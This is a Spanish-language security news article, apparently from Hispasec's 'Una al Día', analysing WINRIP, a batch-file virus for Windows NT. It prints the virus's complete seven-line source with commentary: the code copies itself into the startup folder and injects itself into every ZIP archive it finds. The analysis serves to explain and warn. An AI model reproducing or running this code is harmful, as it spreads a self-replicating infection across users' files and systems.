Icono del sitio Una al Día

HispaSec analiza a WINRIP, un virus-BAT para NT

Hace unas semanas os descubríamos en primicia el primer virus para
Corel Draw. En aquel entonces muchos se asombraron de como un virus
podía programarse en un lenguaje tán básico y sencillo como Corel
Script, basado en BASIC. En esta ocasión presentamos un virus para
Windows NT que tiene la peculiaridad de infectar todos los ficheros
ZIP y, lo que más llama la atención, con tan sólo siete líneas de un
fichero de proceso por lotes.
El ensamblador es, sin duda, el lenguaje por excelencia a la hora de
crear los virus informáticos. Control, potencia y optimización tienen
cabida en este lenguaje que, sin embargo, sólo está al alcance de
desarrolladores avanzados. Tal vez sea por esta causa por lo que los
virus de macro, basado en lenguajes scripts y derivados de BASIC, han
tenido un auge tan espectacular en estos últimos tiempos, gracias a la
facilidad para su programación.

Sencillos de hacer y con facilidades para expandirse, los virus de
macro, en especial para Office, ocupan los primeros puestos en las
listas de prevalencia. Una de las últimas muestras que más repercusión
han obtenido la podemos encontrar en el virus Melissa, escrito para
Word, el procesador de textos de Microsoft. Pero no sólo del
ensamblador y los macros nacen los virus, en prácticamente todos
los lenguajes es factible implementar un programa que se replique.
Podemos encontrar muestras en C, Pascal, Java o, como en este caso, en
un simple fichero BAT. Veamos como trabaja a través de un recorrido por
su código.

En las primeras dos líneas, nos encontramos con un comando que oculta
los mensajes que se pudieran derivar de las ordenes, para no alertar
al usuario y un comentario donde se puede leer el nombre del virus y
la firma de autoría.

—–
@echo off
@echo REM WINRIP by SkamWerks Labs > winripem.bat
—–

A continuación, el virus se copia a sí mismo (winrip.bat) en el
directorio de inicio automático (startup) en las versiones inglés de
Windows NT, lo que le asegura su ejecución cada vez que se inicie la
sesión. La utilización de múltiples «\..» le permite llegar al raíz
y encontrar la ruta correcta aunque el fichero se ejecute desde una
subcarpeta con varios niveles de profundidad, como es el caso de la
carpeta de inicio de Windows.

—–
@copy winrip.bat «c:\..\..\..\..\..\..\..\winnt\profiles\default user\start menu\programs\startup\winrip.bat»
—–

En la cuarta línea se realiza un listado de ficheros en busca de la
localización del archivo winzip32.exe, que almacena en una variable
para utilizarlo posteriormente, lo que le permitirá comprimirse e
introducirse en los ficheros ZIP.

Los parámetros utilizados son:
/s para recorrer el directorio actual y subdirectorios.
/b para listar únicamente los nombres de los ficheros sin encabezados
ni información adicional que metería «basura» a la hora de procesar
los ficheros.
/l para que el listado se realice en minúsculas.

—–
@dir /s /b /l c:\winzip32.exe | set wz=
—–

A continuación, el virus recorre con un bucle el directorio, de manera
similar a la anterior línea, pero en busca de los ficheros con extensión
ZIP. Simultaneamente crea un archivo de proceso por lotes (winripem.bat)
donde añade (>>) una línea por cada fichero a infectar.

Esa línea hace referencia al archivo winzip32.exe cuya trayectoria
almacenó en la variable («%wz%»). Gracias a él, podrá introducir el
archivo winrip.bat (que contiene el virus) de la carpeta de inicio
(startup), en cada uno de los ficheros ZIP que recorre. Los parámetros
utilizados en winzip32 son:
-min para realizar la compresión en modo rápido
-a que le indica que la acción es la de comprimir el fichero y añadirlo.
-r utiliza carpetas recursivas a la hora de buscar los ficheros.
-p guarda información extra de las carpetas, de nuevo se asegura que
cuando sea descomprimido se situará en la carpeta startup para
ejecutarse en cada inicio de sesión.

—–
@FOR /F «delims==» %%y IN (‘dir /s /b /l c:\*.zip’) DO @echo «%wz%» -min -a -r -p «%%y» «c:\..\..\..\..\..\..\..\winnt\profiles\default user\start menu\programs\startup\winrip.bat» >> winripem.bat
—–

Llama y ejecuta el fichero anteriormente creado, winripem.bat, lo que
provocará que se ejecuten todas y cada una de las líneas que creó,
y por tanto, infecte todos los ficheros ZIP, introduciendose en ellos.
Por último, borra este fichero.

—–
@call winripem.bat
@del winripem.bat
—–

El virus no realiza ninguna acción dañina directa, aunque con tan
sólo introducir una línea más en su código podría acarrear perdidas
importantes. Su capacidad de reproducción es bastante elevada, teniendo
en cuenta que se trata de un virus muy simple de proceso por lotes que
necesita la utilidad de compresión WINZIP32 para poder infectar.
Podemos catalogarlo dentro de los virus de bajo riesgo, y su interés
radica en su simpleza, que deja patente que los virus se nos pueden
presentar en multitud de formas y contenidos diferentes.

Bernardo Quintero

Acerca de Hispasec

Hispasec Ha escrito 7038 publicaciones.

Salir de la versión móvil